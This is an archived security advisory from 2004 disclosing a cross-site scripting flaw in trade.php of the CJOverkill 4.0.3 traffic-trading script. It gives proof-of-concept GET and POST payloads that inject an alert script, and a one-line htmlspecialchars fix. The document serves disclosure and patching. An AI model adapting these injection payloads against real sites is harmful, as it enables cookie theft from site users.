what you don't know can hurt you
Home Files News &[SERVICES_TAB]About Contact Add New

cjoverkill403.txt

cjoverkill403.txt
Posted Oct 13, 2004
Authored by aCiDBiTS

There is no user input sanitation for some parameters in trade.php in CJOverkill version 4.0.3, allowing for cross site scripting attacks to take place.

tags | advisory, php, xss
SHA-256 | fb8ec6223316254b7134b54190da91977cf5dee5771fab54f779e3ca86aae2bc

cjoverkill403.txt

Change Mirror Download
+--------------------------------------------------------+
| CJOverkill 4.0.3 Cross Site Scripting Proof of Concept |
| By aCiDBiTS acidbits@gmail.com 10-Oct-2004 |
+--------------------------------------------------------+

[ ]
[ Your web application needs a security audit? ]
[ Email me ! ]
[ ]

------------
Introduction
------------

(http://cjoverkill.icefire.org/) "CJOverkill is a powerful traffic
trading script that keeps its users happy with their site's growing
traffic. Tested on high traffic sites and proven its outstanding
performance, CJOverkill's security measures prevent others from trying
to cheat you. With this script ,you can rest assured your site is in
good hands."


-------------
Vulnerability
-------------

There is no user input sanitation for some parameters in trade.php.
This can be exploited to insert html-script code that will be executed
in the user browser, allowing to a malicious attacker to steal the
user-cookie for that site. Maybe older versions also vulnerable.
Vendor has been warned, an official patch will be released.


----------------
Proof of Concept
----------------

There are two ways to XSS through trade.php:

(1.) GET. Victim should click on a link like: (needs register globals ON)

http://URL_to_cjoverkill_script/trade.php?tms[0]=Yes,%20there%20is%20a%20way%20;-)%3Cscript%3Ealert(String.fromCharCode(88)%2BString.fromCharCode(83)%2BString.fromCharCode(83));%3C/script%3E


(2.) POST. Victim should click a form's submit button with hidden fields:

<form action="http://URL_to_cjoverkill_script/trade.php"
method="post"><input name="email" type="hidden" value="fake"><input
name="add" type="hidden" value="1"><input name="url" type="hidden"
value="<script>alert(String.fromCharCode(88)+String.fromCharCode(83)+String.fromCharCode(83));</script>
"><input name="" type="submit" value="Click me !"></form>


---------
Quick fix
---------

Edit trade.php, line 135:

echo ("$tms[$i]<br>");

Modify with:

echo (htmlspecialchars($tms[$i])."<br>");

Login or Register to add favorites

File Archive:

December 2024

  • Su
  • Mo
  • Tu
  • We
  • Th
  • Fr
  • Sa
  • 1
    Dec 1st
    0 Files
  • 2
    Dec 2nd
    41 Files
  • 3
    Dec 3rd
    25 Files
  • 4
    Dec 4th
    0 Files
  • 5
    Dec 5th
    0 Files
  • 6
    Dec 6th
    0 Files
  • 7
    Dec 7th
    0 Files
  • 8
    Dec 8th
    0 Files
  • 9
    Dec 9th
    0 Files
  • 10
    Dec 10th
    0 Files
  • 11
    Dec 11th
    0 Files
  • 12
    Dec 12th
    0 Files
  • 13
    Dec 13th
    0 Files
  • 14
    Dec 14th
    0 Files
  • 15
    Dec 15th
    0 Files
  • 16
    Dec 16th
    0 Files
  • 17
    Dec 17th
    0 Files
  • 18
    Dec 18th
    0 Files
  • 19
    Dec 19th
    0 Files
  • 20
    Dec 20th
    0 Files
  • 21
    Dec 21st
    0 Files
  • 22
    Dec 22nd
    0 Files
  • 23
    Dec 23rd
    0 Files
  • 24
    Dec 24th
    0 Files
  • 25
    Dec 25th
    0 Files
  • 26
    Dec 26th
    0 Files
  • 27
    Dec 27th
    0 Files
  • 28
    Dec 28th
    0 Files
  • 29
    Dec 29th
    0 Files
  • 30
    Dec 30th
    0 Files
  • 31
    Dec 31st
    0 Files

Top Authors In Last 30 Days

File Tags

Systems

packet storm

© 2024 Packet Storm. All rights reserved.

Services
Security Services
Hosting By
Rokasec
close